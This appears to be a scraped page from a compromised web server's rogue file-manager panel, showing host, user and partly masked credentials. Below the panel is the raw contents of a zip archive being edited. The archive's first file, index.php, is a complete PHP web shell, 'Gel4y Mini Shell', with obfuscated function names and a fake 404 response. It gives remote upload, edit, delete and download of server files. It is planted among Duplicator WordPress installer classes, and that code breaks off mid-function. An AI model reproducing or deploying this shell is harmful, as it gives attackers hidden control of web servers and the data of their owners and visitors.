🗂️ File Manager Pro
🖥️ Tipo de Hospedagem:
Vps
📁 Diretório Raiz:
/home
🌐 Servidor:
www.apm-abl.com
👤 Usuário:
apmablcosr
🔐 Sessão:
🔑 Credenciais:
adm_83fb36a6 / 8f4b****
📍 Localização Atual:
home
Caminho completo: /home
📤 Enviar Arquivo
📁 Nova Pasta
⬆️ Voltar
🏠 Raiz
🗑️ DELETAR
📦 ZIPAR/DEZIPAR
Status
Nome
Tamanho
Modificado
Permissões
Ações
📁 a
-
03/02/2026 22:15
0755
✏️
📁 apmablcosr
-
26/01/2026 16:35
0705
✏️
🗑️
Editando: src.zip
PK �<\aj�2 �2 index.phpnu �[��� <?php error_reporting(0); http_response_code(404); define("self", "G\x65l\64y M\x69n\x69 Sh\x65ll"); $scD = "s\x63\x61\x6e\x64\x69r"; $func = array("7068705f756e616d65", "70687076657273696f6e", "676574637764", "6368646972", "707265675f73706c6974", "61727261795f64696666", "69735f646972", "69735f66696c65", "69735f7772697461626c65", "69735f7265616461626c65", "66696c6573697a65", "636f7079", "66696c655f657869737473", "66696c655f7075745f636f6e74656e7473", "66696c655f6765745f636f6e74656e7473", "6d6b646972", "72656e616d65", "737472746f74696d65", "68746d6c7370656369616c6368617273", "64617465", "66696c656d74696d65"); for ($i = 0; $i < count($func); $i++) { $func[$i] = nhx($func[$i]); } if (isset($_GET["p"])) { $p = nhx($_GET["p"]); $func[3](nhx($_GET["p"])); } else { $p = $func[2](); } function hex($str) { $r = ""; for ($i = 0; $i < strlen($str); $i++) { $r .= dechex(ord($str[$i])); } return $r; } function nhx($str) { $r = ""; $len = (strlen($str) -1); for ($i = 0; $i < $len; $i += 2) { $r .= chr(hexdec($str[$i].$str[$i+1])); } return $r; } function perms($f) { $p = fileperms($f); if (($p & 0xC000) == 0xC000) { $i = 's'; } elseif (($p & 0xA000) == 0xA000) { $i = 'l'; } elseif (($p & 0x8000) == 0x8000) { $i = '-'; } elseif (($p & 0x6000) == 0x6000) { $i = 'b'; } elseif (($p & 0x4000) == 0x4000) { $i = 'd'; } elseif (($p & 0x2000) == 0x2000) { $i = 'c'; } elseif (($p & 0x1000) == 0x1000) { $i = 'p'; } else { $i = 'u'; } $i .= (($p & 0x0100) ? 'r' : '-'); $i .= (($p & 0x0080) ? 'w' : '-'); $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-')); $i .= (($p & 0x0020) ? 'r' : '-'); $i .= (($p & 0x0010) ? 'w' : '-'); $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-')); $i .= (($p & 0x0004) ? 'r' : '-'); $i .= (($p & 0x0002) ? 'w' : '-'); $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-')); return $i; } function a($msg, $sts = 1, $loc = "") { global $p; $status = (($sts == 1) ? "success" : "error"); echo "<script>swal({title: \"{$status}\", text: \"{$msg}\", icon: \"{$status}\"}).then((btnClick) => {if(btnClick){document.location.href=\"?p=".hex($p).$loc."\"}})</script>"; } function deldir($d) { global $func; if (trim(pathinfo($d, PATHINFO_BASENAME), '.') === '') return; if ($func[6]($d)) { array_map("deldir", glob($d . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT)); rmdir($d); } else { unlink($d); } } ?> <!doctype html> <!-- RandsX aka T1kus_g0t --> <html lang="en"> <head> <meta name="theme-color" content="red"> <meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no"> <link rel="stylesheet" href="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css"> <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> <title><?= self ?></title> <style>.table-hover tbody tr:hover td{background:red}.table-hover tbody tr:hover td>*{color:#fff}.table>tbody>tr>*{color:#fff;vertical-align:middle}.form-control{background:0 0!important;color:#fff!important;border-radius:0}.form-control::placeholder{color:#fff;opacity:1}li{font-size:18px;margin-left:6px;list-style:none}a{color:#fff}</style> <script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script> </head> <body style="background-color:#000;color:#fff;font-family:serif;"> <div class="bg-dark table-responsive text-light border"> <div class="d-flex justify-content-between p-1"> <div><h3 class="mt-2"><a href="?"><?= self ?></a></h3></div> <div> <span>PHP Version : <?= $func[1]() ?></span> <br> <a href="?p=<?= hex($p)."&a=".hex("newFile") ?>">+File</a> <a href="?p=<?= hex($p)."&a=".hex("newDir") ?>">+Directory</a> </div> </div> <div class="border-top table-responsive"> <li>Server : <?= "{$_SERVER["SERVER_NAME"]} ({$_SERVER["SERVER_ADDR"]}/{$_SERVER["REMOTE_ADDR"]})" ?></li> </div> <form method="post" enctype="multipart/form-data"><div class="input-group mb-1 px-1 mt-1"><div class="custom-file"><input type="file" name="f[]" class="custom-file-input" onchange="this.form.submit()" multiple><label class="custom-file-label rounded-0 bg-transparent text-light">Choose file</label></div></div></form> <?php if (isset($_FILES["f"])) { $n = $_FILES["f"]["name"]; for ($i = 0; $i < count($n); $i++) { if ($func[11]($_FILES["f"]["tmp_name"][$i], $n[$i])) { a("file uploaded successfully"); } else { a("file failed to upload", 0); } } } if (isset($_GET["download"])) { header("Content-Type: application/octet-stream"); header("Content-Transfer-Encoding: Binary"); header("Content-Length: ".$func[17](nhx($_GET["n"]))); header("Content-disposition: attachment; filename=\"".nhx($_GET["n"])."\""); } ?> </div> <div class="bg-dark border table-responsive-sm mt-2"> <div class="ml-2" style="font-size:18px;"> <span>Path: </span> <?php $ps = $func[4]("/(\\\|\/)/", $p); foreach ($ps as $k => $v) { if ($k == 0 && $v == "") { echo "<a href=\"?p=2f\">~</a>/"; continue; } if ($v == "") continue; echo "<a href=\"?p="; for ($i = 0; $i <= $k; $i++) { echo hex($ps[$i]); if ($i != $k) echo "2f"; } echo "\">{$v}</a>/"; } ?> </div> </div> <article class="bg-dark border table-responsive-sm mt-2"> <?php if (!isset($_GET["a"])): ?> <table class="table table-hover table-bordered table-sm"> <thead class="text-light"> <tr> <th>Name</th> <th>Size</th> <th>Permission</th> <th>Action</th> </tr> </thead> <tbody class="text-light"> <?php $scD = $func[5]($scD($p), [".", ".."]); foreach ($scD as $d) { if (!$func[6]("$p/$d")) continue; echo " <tr> <td><a href=\"?p=".hex("$p/$d")."\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on ".$func[19]("Y-m-d H:i", $func[20]("$p/$d"))."\"><i class=\"fa fa-fw fa-folder\"></i> {$d}</a></td> <td>N/A</td> <td><font color=\"".(($func[8]("$p/$d")) ? "#00ff00" : (!$func[9]("$p/$d") ? "red" : null))."\">".perms("$p/$d")."</font></td> <td> <a href=\"?p=".hex($p)."&a=".hex("rename")."&n=".hex($d)."&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\"><i class=\"fa fa-fw fa-pencil\"></i></a> <a href=\"?p=".hex($p)."&a=".hex("delete")."&n=".hex($d)."\" class=\"delete\" data-type=\"folder\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\"><i class=\"fa fa-fw fa-trash\"></i></a> </td> </tr>"; } foreach ($scD as $f) { if (!$func[7]("$p/$f")) continue; $size = $func[10]("$p/$f")/1024; $size = round($size, 3); $size = ($size > 1024) ? round($size/1024, 2)."MB" : $size."KB"; echo " <tr> <td><a href=\"?p=".hex($p)."&a=".hex("view")."&n=".hex($f)."\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on ".$func[19]("Y-m-d H:i", $func[20]("$p/$f"))."\"><i class=\"fa fa-fw fa-file\"></i> {$f}</a></td> <td>{$size}</td> <td><font color=\"".(($func[8]("$p/$f")) ? "#00ff00" : (!$func[9]("$p/$f") ? "red" : null))."\">".perms("$p/$f")."</font></td> <td> <div class=\"d-flex justify-content-between\"> <a href=\"?p=".hex($p)."&a=".hex("edit")."&n=".hex($f)."\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Edit\"><i class=\"fa fa-fw fa-edit\"></i></a> <a href=\"?p=".hex($p)."&a=".hex("rename")."&n=".hex($f)."&t=f\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\"><i class=\"fa fa-fw fa-pencil\"></i></a> <a href=\"?p=".hex($p)."&n=".hex($f)."&download"."\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Download\"><i class=\"fa fa-fw fa-download\"></i></a> <a href=\"?p=".hex($p)."&a=".hex("delete")."&n=".hex($f)."\" class=\"delete\" data-type=\"file\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\"><i class=\"fa fa-fw fa-trash\"></i></a> </div> </td> </tr> "; } ?> </tbody> </table> <?php else :if (isset($_GET["a"])) $a = nhx($_GET["a"]); ?> <div class="px-2 py-2"> <?php if ($a == "delete") { $loc = $p.'/'.nhx($_GET["n"]); if ($_GET["t"] == "d") { deldir($loc); if (!$func[12]($loc)) { a("folder deleted successfully"); } else { a("failed to delete the folder", 0); } } if ($_GET["t"] == "f") { $loc = $p.'/'.nhx($_GET["n"]); unlink($loc); if (!$func[12]($loc)) { a("file deleted successfully"); } else { a("file to delete the folder", 0); } } } ?> <?php if ($a == "newDir"): ?> <h5 class="border p-1 mb-3">New folder</h5> <form method="post"><div class="form-group"><label for="n">Name :</label><input name="n" id="n" class="form-control" autocomplete="off"></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button></div></form> <?php ((isset($_POST["s"])) ? ($func[12]("$p/{$_POST["n"]}") ? a("folder name has been used", 0, "&a=".hex("newDir")) : ($func[15]("$p/{$_POST["n"]}") ? a("folder created successfully") : a("folder failed to create", 0))) : null); elseif ($a == "newFile"): ?> <h5 class="border p-1 mb-3">New file</h5> <form method="post"><div class="form-group"><label for="n">File name :</label><input type="text" name="n" id="n" class="form-control" placeholder="hack.txt"></div><div class="form-group"><label for="ctn">Content :</label><textarea style="resize:none" name="ctn" id="ctn" cols="30" rows="10" class="form-control" placeholder="# Stamped By Me"></textarea></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Create</button></div></form> <?php ((isset($_POST["s"])) ? ($func[12]("$p/{$_POST["n"]}") ? a("file name has been used", 0, "&a=".hex("newFile")) : ($func[13]("$p/{$_POST["n"]}", $_POST["ctn"]) ? a("file created successfully",1,"&a=".hex("view")."&n=".hex($_POST["n"])) : a("file failed to create", 0))) : null); elseif ($a == "rename"): ?> <h5 class="border p-1 mb-3">Rename <?= (($_GET["t"] == "d") ? "folder" : "file") ?></h5> <form method="post"><div class="form-group"><label for="n">Name :</label><input type="text" name="n" id="n" class="form-control" value="<?= nhx($_GET["n"]) ?>"></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button></div></form> <?php ((isset($_POST["s"])) ? ($func[16]($p.'/'.nhx($_GET["n"]), $_POST["n"]) ? a("successfully changed the folder name") : a("failed to change the folder name", 0)) : null); elseif ($a == "edit"): ?> <h5 class="border p-1 mb-3">Edit file</h5> <span>File name : <?= nhx($_GET["n"]) ?></span> <form method="post"><div class="form-group"><label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control"><?= $func[18]($func[14]($p.'/'.nhx($_GET["n"]))) ?></textarea></div><div class="form-group"><button type="submit" name="s" class="btn btn-outline-light rounded-0">Save</button></div></form> <?php ((isset($_POST["s"])) ? ($func[13]($p.'/'.nhx($_GET["n"]), $_POST["ctn"]) ? a("file contents changed successfully", 1, "&a=".hex("view")."&n={$_GET["n"]}") : a("file contents failed to change")) : null); elseif ($a == "view"): ?> <h5 class="border p-1 mb-3">View file</h5> <span>File name : <?= nhx($_GET["n"]) ?></span> <div class="form-group"><label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control" readonly><?= $func[18]($func[14]($p.'/'.nhx($_GET["n"]))) ?></textarea></div> <?php endif; ?> </div> <?php endif; ?> </article> <div class="bg-dark border text-center mt-2"> <small>Copyright © 2021 - Powered By Indonesian Darknet</small> </div> <script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script> <script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js" ></script> <script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script> <script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))</script> </body> </html> PK �<\L�]� � ! Utils/Tests/MessageCustomizer.phpnu �[��� <?php /** * Customizes final report error messages * * Standard: PSR-2 * * @link http://www.php-fig.org/psr/psr-2 Full Documentation * * @package SC\DUPX\U */ namespace Duplicator\Installer\Utils\Tests; class MessageCustomizer { const CONTEXT_SHORT_MESSAGE = 'short'; const CONTEXT_LONG_MESSAGE = 'long'; const CONTEXT_NOTICE_ID = 'notice-id'; /** * Tries to apply each customization until one of them works * * @param string $shortMessage short message of notice to be customized * @param string $longMessage long message of notice to be customized * @param string $noticeId notice IDfinal-tests.php * * @return bool true if any of the customizations were applied, false otherwise */ public static function applyAllNoticeCustomizations(&$shortMessage, &$longMessage, &$noticeId) { foreach (self::getCustomizationItems() as $item) { if ($item->conditionSatisfied($longMessage)) { $shortMessage = $item->apply($shortMessage, self::CONTEXT_SHORT_MESSAGE); $longMessage = $item->apply($longMessage, self::CONTEXT_LONG_MESSAGE); $noticeId = $item->apply($noticeId, self::CONTEXT_NOTICE_ID); return true; } } return false; } /** * Get customization to apply at error messages * * @return MessageCustomizerItem[] customizations list * @throws \Exception */ protected static function getCustomizationItems() { $items = array(); $items[] = new MessageCustomizerItem( function ($string) { if (self::getArchiveConfigData() == false) { return false; } return preg_match("/undefined.*create_function/", $string) && version_compare(phpversion(), "8") >= 0 && version_compare(self::getArchiveConfigData()->version_php, "8") < 0; }, function ($string, $context) { if (self::getArchiveConfigData() == false) { return $string; } $phpVersionNew = self::getTwoLevelVersion(phpversion()); $phpVersionOld = self::getTwoLevelVersion(self::getArchiveConfigData()->version_php); $longMsgPrefix = "There is code in this site that is not compatible with PHP " . $phpVersionNew . ". " . "To make the install work you will either have to\ninstall on PHP " . $phpVersionOld . " or "; switch ($context) { case self::CONTEXT_SHORT_MESSAGE: return "Source site or plugins are incompatible with PHP " . $phpVersionNew; case self::CONTEXT_LONG_MESSAGE: if (($plugin = self::getProblematicPluginFromError($string)) !== false) { return $longMsgPrefix . "disable the plugin '{$plugin->name}' (slug: $plugin->slug) using a " . "file manager of your choice.\nSee full error message below: \n\n" . $string; } elseif (($theme = self::getProblematicThemeFromError($string)) !== false) { return $longMsgPrefix . "disable the theme '{$theme->themeName}' (slug: $theme->slug) using a " . "file manager of your choice.\nSee full error message below: \n\n" . $string; } else { return $longMsgPrefix . "manually modify the affected files mentioned in the error trace below: \n\n" . $string; } case self::CONTEXT_NOTICE_ID: return $string . '_php8'; } } ); return $items; } /** * Return the plugin that is causing the error message if present * * @param string $longMessage the long error message containing the error trace * * @return false|object object containing plugin info or false on failure */ protected static function getProblematicPluginFromError($longMessage) { if (($archiveConfig = self::getArchiveConfigData()) === false) { return false; } $oldMain = $archiveConfig->wpInfo->targetRoot; $oldMuPlugins = $archiveConfig->wpInfo->configs->realValues->originalPaths->muplugins; $oldPlugins = $archiveConfig->wpInfo->configs->realValues->originalPaths->plugins; $relativeMuPlugins = str_replace($oldMain, "", $oldMuPlugins); $relativePlugins = str_replace($oldMain, "", $oldPlugins); $regex = "/(?:" . preg_quote($relativePlugins, "/") . "\/|" . preg_quote($relativeMuPlugins, "/") . "\/)(.*?)(\/|\.php).*$/m"; if (!preg_match($regex, $longMessage, $matches)) { return false; } //matches the first part of the slug related to the plugin directory $slug = $matches[1]; foreach ($archiveConfig->wpInfo->plugins as $plugin) { if (strpos($plugin->slug, $slug) === 0) { return $plugin; } } return false; } /** * Returns the theme that is causing the error message if present * * @param string $longMessage the long error message containing the error trace * * @return false|object object containing theme info or false */ protected static function getProblematicThemeFromError($longMessage) { $archiveConfig = self::getArchiveConfigData(); $oldMain = $archiveConfig->wpInfo->targetRoot; $oldThemes = $archiveConfig->wpInfo->configs->realValues->originalPaths->themes; $relativeThemes = str_replace($oldMain, "", $oldThemes); file_put_contents( DUPX_INIT . "/my_log.txt", "OLD THEMES: {$oldThemes} \n" . "Relative themes: {$relativeThemes} \n" . "regex: " . "/(" . preg_quote($relativeThemes, "/") . "\/)(.*?)(\/|\.php).*$/m" ); if (!preg_match("/(?:" . preg_quote($relativeThemes, "/") . "\/)(.*?)(?:\/|\.php).*$/m", $longMessage, $matches)) { return false; } $slug = $matches[1]; foreach ($archiveConfig->wpInfo->themes as $theme) { if ($theme->slug == $slug) { return $theme; } } return false; } /** * Get package config data * * @return false|object package config data or false on failure */ protected static function getArchiveConfigData() { static $archiveConfig = null; if (is_null($archiveConfig)) { if ( ($path = glob(DUPX_INIT . "/dup-archive__*.txt")) === false || count($path) !== 1 ) { return $archiveConfig = false; } if (($json = file_get_contents($path[0])) === false) { return $archiveConfig = false; } $archiveConfig = json_decode($json); if (!is_object($archiveConfig)) { $archiveConfig = false; } } return $archiveConfig; } /** * @param string $version a version number * * @return string returns only the first 2 levels of the version numbers */ private static function getTwoLevelVersion($version) { $arr = explode(".", $version); return $arr[0] . "." . $arr[1]; } } PK �<\�ƪ� Utils/Tests/TestInterface.phpnu �[��� <?php namespace Duplicator\Installer\Utils\Tests; interface TestInterface { /** * @return bool true on success */ public static function preTestPrepare(); /** * @return bool true on success */ public static function afterTestClean(); } PK �<\"x}�v v ! Utils/Tests/WP/tests_template.phpnu �[��� <?php namespace Duplicator\Installer\Utils\Tests\WP; use Duplicator\Installer\Utils\Autoloader; use Duplicator\Libs\Snap\SnapUtil; use Duplicator\Installer\Utils\Tests\MessageCustomizer; use DUPX_NOTICE_ITEM; use DUPX_NOTICE_MANAGER; use Exception; // phpcs:disable die(); // [REMOVE LINE BY SCRIPT] don't remove/change this ********************************* if (!defined('DUPXABSPATH')) { define('DUPXABSPATH', dirname(__FILE__)); } if (!defined('DUPX_INIT')) { define('DUPX_INIT', '$_$_DUPX_INIT_$_$'); } // phpcs:enable require_once(DUPX_INIT . '/src/Utils/Autoloader.php'); Autoloader::register(); require_once(DUPX_INIT . '/classes/utilities/class.u.notices.manager.php'); $GLOBALS["NOTICES_FILE_PATH"] = '$_$_NOTICES_FILE_PATH_$_$'; $GLOBALS["TEST_SCRIPT"] = SnapUtil::filterInputDefaultSanitizeString(INPUT_GET, 'dpro_test_script_name'); ob_start(); TestsErrorHandler::register(); TestsErrorHandler::setShutdownCallabck(function ($errors) { $nManager = DUPX_NOTICE_MANAGER::getInstance(); $scriptName = basename($GLOBALS["TEST_SCRIPT"]); $scriptNameId = str_replace(array('.', '-', '#'), '_', $scriptName); $firstFatal = true; $firstNotice = true; switch ($scriptName) { case 'index.php': $shortMessageFatal = 'Fatal error on WordPress front-end tests!'; $shortMessageNotice = 'Warnings or notices on WordPress front-end tests!'; $fatalErrorLevel = DUPX_NOTICE_ITEM::CRITICAL; break; case 'wp-login.php': $shortMessageFatal = 'Fatal error on WordPress login tests!'; $shortMessageNotice = 'Warnings or notices on WordPress backend tests!'; $fatalErrorLevel = DUPX_NOTICE_ITEM::FATAL; break; default: $shortMessageFatal = 'Fatal error on php script ' . $scriptName; $shortMessageNotice = 'Warnings or notices on php script ' . $scriptName; $fatalErrorLevel = DUPX_NOTICE_ITEM::CRITICAL; break; } foreach ($errors as $error) { $addBeforeNotice = false; switch ($error['error_cat']) { case TestsErrorHandler::ERR_TYPE_ERROR: $noticeId = 'wptest_fatal_error_' . $scriptNameId; $errorLevel = $fatalErrorLevel; $shortMessage = $shortMessageFatal; if ($firstFatal) { $addBeforeNotice = true; $firstFatal = false; } break; case TestsErrorHandler::ERR_TYPE_NOTICE: case TestsErrorHandler::ERR_TYPE_DEPRECATED: case TestsErrorHandler::ERR_TYPE_WARNING: default: $noticeId = 'wptest_notice_' . $scriptNameId; $errorLevel = DUPX_NOTICE_ITEM::NOTICE; $shortMessage = $shortMessageNotice; if ($firstNotice) { $addBeforeNotice = true; $firstNotice = false; } break; } if ($addBeforeNotice) { $longMessage = 'SCRIPT FILE TEST: ' . $GLOBALS["TEST_SCRIPT"] . "\n\n"; } else { $longMessage = ''; } $longMessage .= TestsErrorHandler::errorToString($error) . "\n-----\n\n"; $longMessage .= "For solutions to these issues see the online FAQs \nhttps://duplicator.com/knowledge-base/ \n\n"; MessageCustomizer::applyAllNoticeCustomizations($shortMessage, $longMessage, $noticeId); $data = array( 'shortMsg' => $shortMessage, 'level' => $errorLevel, 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_PRE, 'longMsg' => $longMessage, 'sections' => 'general' ); if ($errorLevel == DUPX_NOTICE_ITEM::FATAL) { $nManager->addBothNextAndFinalReportNotice($data, DUPX_NOTICE_MANAGER::ADD_UNIQUE_APPEND, $noticeId); } else { $nManager->addFinalReportNotice($data, DUPX_NOTICE_MANAGER::ADD_UNIQUE_APPEND, $noticeId); } } if ($nManager->saveNotices()) { echo json_encode(true); } else { echo json_encode(false); } }); $_SERVER['REQUEST_URI'] = '/'; if (file_exists($GLOBALS["TEST_SCRIPT"])) { require_once($GLOBALS["TEST_SCRIPT"]); } else { throw new Exception('test script file ' . $GLOBALS["TEST_SCRIPT"] . ' doesn\'t exist'); } PK �<\��*w w $ Utils/Tests/WP/TestsErrorHandler.phpnu �[��� <?php /** * Error handler for test scripts * ******************* * IMPORTANT * Don\'t use snap lib functions o other duplicator functions * ******************* * * Standard: PSR-2 * * @link http://www.php-fig.org/psr/psr-2 Full Documentation * * @package SC\DUPX\U */ namespace Duplicator\Installer\Utils\Tests\WP; class TestsErrorHandler { const ERR_TYPE_ERROR = 'error'; const ERR_TYPE_WARNING = 'warning'; const ERR_TYPE_NOTICE = 'notice'; const ERR_TYPE_DEPRECATED = 'deprecated'; const ERRNO_EXCEPTION = 1073741824; // 31 pos of bit mask protected static $errors = array(); /** * If it is null a json is displayed otherwise the callback function is executed in the shutd * * @var null| callable */ protected static $shutdownCallback = null; /** * register error handlers * * @return void */ public static function register() { @register_shutdown_function(array(__CLASS__, 'shutdown')); @set_error_handler(array(__CLASS__, 'error')); @set_exception_handler(array(__CLASS__, 'exception')); } /** * @param callable $callback shutdown callback * * @return void */ public static function setShutdownCallabck($callback) { if (is_callable($callback)) { self::$shutdownCallback = $callback; } else { self::$shutdownCallback = null; } } /** * add error on list * * @param int $errno error number * @param string $errstr error string * @param string $errfile error file * @param int $errline error line * @param array $trace error trace * * @return void */ protected static function addError($errno, $errstr, $errfile, $errline, $trace) { $newError = array( 'error_cat' => self::getErrorCategoryFromErrno($errno), 'errno' => $errno, 'errno_str' => self::errnoToString($errno), 'errstr' => $errstr, 'errfile' => $errfile, 'errline' => $errline, 'trace' => array_map(array(__CLASS__, 'normalizeTraceElement'), $trace) ); self::$errors[] = $newError; if (function_exists('error_clear_last')) { error_clear_last(); } } /** * @param array $error the error array * * @return string human-readable error message with trace */ public static function errorToString($error) { $result = $error['errno_str'] . ' ' . $error['errstr'] . "\n"; $result .= "\t" . 'FILE: ' . $error['errfile'] . '[' . $error['errline'] . ']' . "\n"; $result .= "\t--- TRACE ---\n"; foreach ($error['trace'] as $trace) { $result .= "\t"; if (!empty($trace['class'])) { $result .= str_pad('CLASS___: ' . $trace['class'] . $trace['type'] . $trace['function'], 40, ' '); } else { $result .= str_pad('FUNCTION: ' . $trace['function'], 40, ' '); } $result .= 'FILE: ' . $trace['file'] . '[' . $trace['line'] . ']' . "\n"; } return $result; } /** * Error handler * * @param integer $errno Error level * @param string $errstr Error message * @param string $errfile Error file * @param integer $errline Error line * * @return void */ public static function error($errno, $errstr, $errfile, $errline) { $trace = debug_backtrace(); array_shift($trace); self::adderror($errno, $errstr, $errfile, $errline, $trace); } /** * Exception handler * * @param Exception|Error $e // Throwable in php 7 * * @return void */ public static function exception($e) { self::adderror(self::ERRNO_EXCEPTION, $e->getMessage(), $e->getFile(), $e->getLine(), $e->getTrace()); } /** * Shutdown handler * * @return void */ public static function shutdown() { self::obCleanAll(); if (($error = error_get_last())) { self::error($error['type'], $error['message'], $error['file'], $error['line']); } ob_end_clean(); if (is_callable(self::$shutdownCallback)) { call_user_func(self::$shutdownCallback, self::$errors); } else { echo json_encode(self::$errors); } // prevent other shutdown functions exit(); } /** * Close all buffers and return content * * @param bool $getContent If true it returns buffer content, otherwise it is discarded * * @return string */ protected static function obCleanAll($getContent = true) { $result = ''; for ($i = 0; $i < ob_get_level(); $i++) { if ($getContent) { $result .= ob_get_contents(); } ob_clean(); } return $result; } /** * @param array $elem normalize error element * * @return array */ public static function normalizeTraceElement($elem) { if (!is_array($elem)) { $elem = array(); } unset($elem['args']); unset($elem['object']); return array_merge(array( 'file' => '', 'line' => -1, 'function' => '', 'class' => '', 'type' => ''), $elem); } /** * * @param int $errno error number * * @return string */ public static function getErrorCategoryFromErrno($errno) { switch ($errno) { case E_PARSE: case E_ERROR: case E_CORE_ERROR: case E_COMPILE_ERROR: case E_USER_ERROR: case self::ERRNO_EXCEPTION: return self::ERR_TYPE_ERROR; case E_WARNING: case E_USER_WARNING: case E_COMPILE_WARNING: return self::ERR_TYPE_WARNING; case E_NOTICE: case E_USER_NOTICE: return self::ERR_TYPE_NOTICE; default: break; } if (defined('E_STRICT') && $errno === E_STRICT) { return self::ERR_TYPE_WARNING; } if (defined('E_RECOVERABLE_ERROR') && $errno === E_RECOVERABLE_ERROR) { return self::ERR_TYPE_WARNING; } if (defined('E_DEPRECATED') && $errno === E_DEPRECATED) { return self::ERR_TYPE_DEPRECATED; } if (defined('E_USER_DEPRECATED') && $errno === E_USER_DEPRECATED) { return self::ERR_TYPE_DEPRECATED; } return self::ERR_TYPE_WARNING; } /** * * @param int $errno error number * * @return string */ public static function errnoToString($errno) { switch ($errno) { case E_PARSE: return 'E_PARSE'; case E_ERROR: return 'E_ERROR'; case E_CORE_ERROR: return 'E_CORE_ERROR'; case E_COMPILE_ERROR: return 'E_COMPILE_ERROR'; case E_USER_ERROR: return 'E_USER_ERROR'; case E_WARNING: return 'E_WARNING'; case E_USER_WARNING: return 'E_USER_WARNING'; case E_COMPILE_WARNING: return 'E_COMPILE_WARNING'; case E_NOTICE: return 'E_NOTICE'; case E_USER_NOTICE: return 'E_USER_NOTICE'; case self::ERRNO_EXCEPTION: return 'EXCEPTION'; default: break; } if (defined('E_STRICT') && $errno === E_STRICT) { return 'E_STRICT'; } if (defined('E_RECOVERABLE_ERROR') && $errno === E_RECOVERABLE_ERROR) { return 'E_RECOVERABLE_ERROR'; } if (defined('E_DEPRECATED') && $errno === E_DEPRECATED) { return 'E_DEPRECATED'; } if (defined('E_USER_DEPRECATED') && $errno === E_USER_DEPRECATED) { return 'E_USER_DEPRECATED'; } return 'E_UNKNOWN CODE: ' . $errno; } } PK �<\62e,� � Utils/Tests/WP/TestsExecuter.phpnu �[��� <?php /** * plugin custom actions * * Standard: PSR-2 * * @link http://www.php-fig.org/psr/psr-2 Full Documentation * * @package SC\DUPX\U */ namespace Duplicator\Installer\Utils\Tests\WP; use Duplicator\Installer\Utils\Log\Log; use Duplicator\Installer\Core\Params\PrmMng; use Duplicator\Installer\Utils\Tests\TestInterface; use DUPX_NOTICE_ITEM; use DUPX_NOTICE_MANAGER; use DUPX_Security; class TestsExecuter implements TestInterface { const SCRIPT_NAME_HTTP_PARAM = 'dpro_test_script_name'; /** * @return bool true on success * @throws \Exception */ public static function preTestPrepare() { $nManager = DUPX_NOTICE_MANAGER::getInstance(); $scriptFilePath = self::getScriptTestPath(); Log::info('PREPARE FILE BEFORE TEST: ' . $scriptFilePath, Log::LV_DETAILED); if (file_put_contents($scriptFilePath, self::getExecFileContent()) === false) { $nManager->addFinalReportNotice(array( 'shortMsg' => 'Can\'t create final text script file', 'longMsg' => 'Can\'t create file ' . $scriptFilePath, 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_DEFAULT, 'level' => DUPX_NOTICE_ITEM::HARD_WARNING, 'sections' => array('general'), )); return false; } return true; } /** * @return bool true on success * @throws \Exception */ public static function afterTestClean() { $nManager = DUPX_NOTICE_MANAGER::getInstance(); $scriptFilePath = self::getScriptTestPath(); Log::info('DELETE FILE AFTER TEST: ' . $scriptFilePath, Log::LV_DETAILED); if (file_exists($scriptFilePath)) { if (unlink($scriptFilePath) == false) { $nManager->addFinalReportNotice(array( 'shortMsg' => 'Can\'t deleta final text script file', 'longMsg' => 'Can\'t delete file ' . $scriptFilePath . '. Remove it manually', 'longMsgMode' => DUPX_NOTICE_ITEM::MSG_MODE_DEFAULT, 'level' => DUPX_NOTICE_ITEM::HARD_WARNING, 'sections' => array('general'), )); } } return true; } /** * @return string url of WP front-end * @throws \Exception */ public static function getFrontendUrl() { 